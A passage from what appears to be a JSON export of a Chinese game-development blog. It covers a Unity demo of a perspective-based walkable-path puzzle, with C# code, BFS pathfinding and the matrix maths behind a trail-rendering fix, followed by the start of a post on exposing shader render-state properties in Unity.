class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSetZMap\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ezMapUpper\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eblock\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eProjectedXY\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eVector2Int\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eblock\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eViewSpaceUpperCenterZ\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003eblock\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eProjectedShapes\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eBlockProjectedShapes\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eMiddleLowerTriangle\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSetZMap\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ezMapLower\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eblock\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eProjectedXY\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eVector2Int\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eblock\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eViewSpaceUpperCenterZ\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003eblock\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eProjectedShapes\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eBlockProjectedShapes\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eRightLowerTriangle\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSetZMap\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ezMapUpper\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eblock\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eProjectedXY\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eVector2Int\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eblock\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eViewSpaceUpperCenterZ\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eforeach\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003evar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eblock\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ein\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebMap\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eValues\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eSelectMany\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eg\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eg\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003eblock\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eProjectedShapes\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eBlockProjectedShapes\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eLeftUpperTriangle\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eblock\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eViewSpaceUpperCenterZ\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ezMapLower\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eblock\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eProjectedXY\u003c/span\u003e\u003cspan class=\"p\"\u003e])\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eblock\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eProjectedShapes\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e~\u003c/span\u003e\u003cspan class=\"n\"\u003eBlockProjectedShapes\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eLeftUpperTriangle\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003eblock\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eProjectedShapes\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eBlockProjectedShapes\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eMiddleUpperTriangle\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eblock\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eViewSpaceUpperCenterZ\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ezMapUpper\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eblock\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eProjectedXY\u003c/span\u003e\u003cspan class=\"p\"\u003e])\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eblock\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eProjectedShapes\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e~\u003c/span\u003e\u003cspan class=\"n\"\u003eBlockProjectedShapes\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eMiddleUpperTriangle\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e最后删三角形时,只要考虑 Left Upper Triangle 和 Middle Upper Triangle,因为其他三角形与方块是否可以行走是无关的。\u003c/p\u003e\n\u003ch3 id=\"构建无向图\"\u003e构建无向图\u003ca class=\"headerlink\" href=\"#构建无向图\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e判断一个平行四边形格子是否可以行走的方法:遍历此处所有的方块,看看能不能凑出 Left Upper Triangle 和 Middle Upper Triangle。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003ebool\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eIsWalkable\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eget\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eBlockProjectedShapes\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshapes\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eBlockProjectedShapes\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eNone\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eforeach\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003evar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eb\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ein\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_blocks\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshapes\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e|=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eb\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eProjectedShapes\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// Walkable = LeftUpperTriangle | MiddleUpperTriangle\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003eshapes\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eBlockProjectedShapes\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eWalkable\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e==\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eBlockProjectedShapes\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eWalkable\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e剩下的很简单,和普通的二维网格一样。\u003c/p\u003e\n\u003ch2 id=\"寻路\"\u003e寻路\u003ca class=\"headerlink\" href=\"#寻路\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e寻路一定要找最短路,否则角色可能会在地图上绕来绕去。这个 Demo 里用 bfs 就行。\u003c/p\u003e\n\u003ch2 id=\"找到正确的路径提示\"\u003e找到正确的路径提示\u003ca class=\"headerlink\" href=\"#找到正确的路径提示\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e小人行走前,会有个带拖尾的特效提前把路径展示出来。拖尾用 \u003ccode\u003eTrailRenderer\u003c/code\u003e 实现。\u003c/p\u003e\n\u003cp\u003e这里有个坑。直接给 \u003ccode\u003eTrailRenderer\u003c/code\u003e 应用小人移动的逻辑的话,因为地图部分地方有高度差,从相机看过去拖尾会断掉。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"拖尾的 artifact\" src=\"../../../obsidian-vault/attachments/unity_hsr_dream_ticker_explain6.png\" /\u003e\u003c/p\u003e\n\u003cp\u003e把移动时的 y 固定即可解决这个问题。\u003c/p\u003e\n\u003chr /\u003e\n\u003cp\u003e设某个方块的 \u003ccode\u003eUpperCenter\u003c/code\u003e 在 view space 为 \u003cspan class=\"arithmatex\"\u003e\\((x, y, z)^T\\)\u003c/span\u003e。给定一个 world space 里的 \u003cspan class=\"arithmatex\"\u003e\\(y'\\)\u003c/span\u003e,需要找到 \u003cspan class=\"arithmatex\"\u003e\\(x'\\)\u003c/span\u003e 和 \u003cspan class=\"arithmatex\"\u003e\\(z'\\)\u003c/span\u003e 使得 \u003cspan class=\"arithmatex\"\u003e\\((x', y', z')^T\\)\u003c/span\u003e 变换到 view space 后 x 和 y 分量分别等于 \u003cspan class=\"arithmatex\"\u003e\\(x\\)\u003c/span\u003e 和 \u003cspan class=\"arithmatex\"\u003e\\(y\\)\u003c/span\u003e。\u003c/p\u003e\n\u003cp\u003e令 \u003ccode\u003eworldToCameraMatrix\u003c/code\u003e 等于\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\begin{bmatrix}\n x_1 \u0026amp;x_2 \u0026amp;x_3 \u0026amp;x_4 \\\\\n y_1 \u0026amp;y_2 \u0026amp;y_3 \u0026amp;y_4 \\\\\n z_1 \u0026amp;z_2 \u0026amp;z_3 \u0026amp;z_4 \\\\\n 0 \u0026amp;0 \u0026amp;0 \u0026amp;1 \\\\\n\\end{bmatrix}\n\\]\u003c/div\u003e\n\u003cp\u003e可以列出方程\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\begin{bmatrix}\n x_1 \u0026amp;x_2 \u0026amp;x_3 \u0026amp;x_4 \\\\\n y_1 \u0026amp;y_2 \u0026amp;y_3 \u0026amp;y_4 \\\\\n z_1 \u0026amp;z_2 \u0026amp;z_3 \u0026amp;z_4 \\\\\n 0 \u0026amp;0 \u0026amp;0 \u0026amp;1 \\\\\n\\end{bmatrix} \\begin{bmatrix}\n x' \\\\\n y' \\\\\n z' \\\\\n 1\n\\end{bmatrix} = \\begin{bmatrix}\n x \\\\\n y \\\\\n t \\\\\n 1\n\\end{bmatrix}\n\\]\u003c/div\u003e\n\u003cp\u003e有三个变量 \u003cspan class=\"arithmatex\"\u003e\\(x',z',t\\)\u003c/span\u003e。解得\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\begin{bmatrix}\n x' \\\\\n z' \\\\\n t\n\\end{bmatrix} = \\begin{bmatrix}\n x_1 \u0026amp;x_3 \u0026amp;0 \\\\\n y_1 \u0026amp;y_3 \u0026amp;0 \\\\\n z_1 \u0026amp;z_3 \u0026amp;-1 \\\\\n\\end{bmatrix}^{-1} \\left ( \\begin{bmatrix}\n x \\\\\n y \\\\\n 0\n\\end{bmatrix} - y'\\begin{bmatrix}\n x_2 \\\\\n y_2 \\\\\n z_2\n\\end{bmatrix} - \\begin{bmatrix}\n x_4 \\\\\n y_4 \\\\\n z_4\n\\end{bmatrix} \\right )\n\\]\u003c/div\u003e\n\u003cp\u003e把拖尾移动到 \u003cspan class=\"arithmatex\"\u003e\\((x', y', z')^T\\)\u003c/span\u003e(\u003cspan class=\"arithmatex\"\u003e\\(y'\\)\u003c/span\u003e 是可配置的定值),就能避免断裂。\u003c/p\u003e\n\u003ch2 id=\"这套算法的问题\"\u003e这套算法的问题\u003ca class=\"headerlink\" href=\"#这套算法的问题\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e视角必须锁死\u003c/li\u003e\n\u003cli\u003e处理不了纪念碑谷中的 T-Junction。参考下面视频:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"responsive-video-container\"\u003e\n \u003ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/mCCC9hQm6MM?si=Df2R9I6B4kqWFM-C\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen\u003e\u003c/iframe\u003e\n\u003c/div\u003e\n\n\u003ch2 id=\"更简单更泛用的方法\"\u003e更简单更泛用的方法\u003ca class=\"headerlink\" href=\"#更简单更泛用的方法\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e人工记录每种情况下的路径,程序根据不同情况选择路径,然后是正确答案就放个动画。\u003c/p\u003e\n\u003cp\u003e缺点是配置麻烦。\u003c/p\u003e\u003chr /\u003e","url":"https://note.stalomeow.com/blog/posts/unity-hsr-dream-ticker/"},{"title":"Unity 常用 Render State 属性 UI","time":"2024-02-18T06:27:11Z","content":"\u003ch1 id=\"Unity-常用-Render-State-属性-UI\"\u003eUnity 常用 Render State 属性 UI\u003ca class=\"headerlink\" href=\"#Unity-常用-Render-State-属性-UI\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h1\u003e\n\u003c!-- more --\u003e\n\n\u003cp\u003e有时候想把 \u003ccode\u003eZTest\u003c/code\u003e、\u003ccode\u003eCull\u003c/code\u003e 等属性暴露到面板中配置,避免重复写相似的 Shader。这里直接把常用的都整理出来。\u003c/p\u003e\n\u003cp\u003e参考:\u003ca href=\"https://zhuanlan.zhihu.com/p/93194054\"\u003eShader面板上常用的一些内置枚举UI - 知乎\u003c/a\u003e。\u003c/p\u003e\n\u003ch2 id=\"Properties\"\u003eProperties\u003ca class=\"headerlink\" href=\"#Properties\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e[Header(Option)]\n[Enum(UnityEngine.Rendering.CullMode)] _CullMode(\u0026quot;Cull Mode\u0026quot;, float) = 2\n[Enum(UnityEngine.Rendering.ColorWriteMask)] _ColorMask(\u0026quot;Color Mask\u0026quot;, Float) = 15\n[Enum(Off, 0, On, 1)] _ZWriteMode(\u0026quot;ZWrite Mode\u0026quot;, float) = 1\n[Enum(UnityEngine.Rendering.CompareFunction)] _ZTestMode(\u0026quot;ZTest Mode\u0026quot;, Float) = 4\n\n[Header(Blend)]\n[Enum(UnityEngine.Rendering.BlendOp)] _BlendOp(\u0026quot;Blend Op\u0026quot;, Float) = 0\n[Enum(UnityEngine.Rendering.BlendMode)] _SrcBlend(\u0026quot;Src Blend\u0026quot;, Float) = 1\n[Enum(UnityEngine.Rendering.BlendMode)] _DstBlend(\u0026quot;Dst Blend\u0026quot;, Float) = 0\n\n[Header(Stencil)]\n[IntRange] _StencilRef(\u0026quot;Stencil Ref\u0026quot;, Range(0, 255)) = 0\n[IntRange] _StencilReadMask(\u0026quot;Stencil ReadMask\u0026quot;, Range(0, 255)) = 255\n[IntRange] _StencilWriteMask(\u0026quot;Stencil WriteMask\u0026quot;, Range(0, 255)) = 255\n[Enum(UnityEngine.Rendering.CompareFunction)] _StencilComp(\u0026quot;Stencil Comp\u0026quot;, Float) = 8\n[Enum(UnityEngine.Rendering.StencilOp)] _StencilPass(\u0026quot;Stencil Pass\u0026quot;, Float) = 0\n[Enum(UnityEngine.Rendering.StencilOp)] _StencilFail(\u0026quot;Stencil Fail\u0026quot;, Float) = 0\n[Enum(UnityEngine.Rendering.StencilOp)] _StencilZFail(\u0026quot;Stencil ZFail\u0026quot;, Float) = 0\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e建议自己写一个 \u003ccode\u003eMaterialPropertyDrawer\u003c/code\u003e 绘制 \u003ccode\u003e_ColorMask\u003c/code\u003e。因为 \u003ccode\u003eColorWriteMask\u003c/code\u003e 是一个 Flags,但是 \u003ccode\u003e[Enum(UnityEngine.Rendering.ColorWriteMask)]\u003c/code\u003e 只能绘制成普通 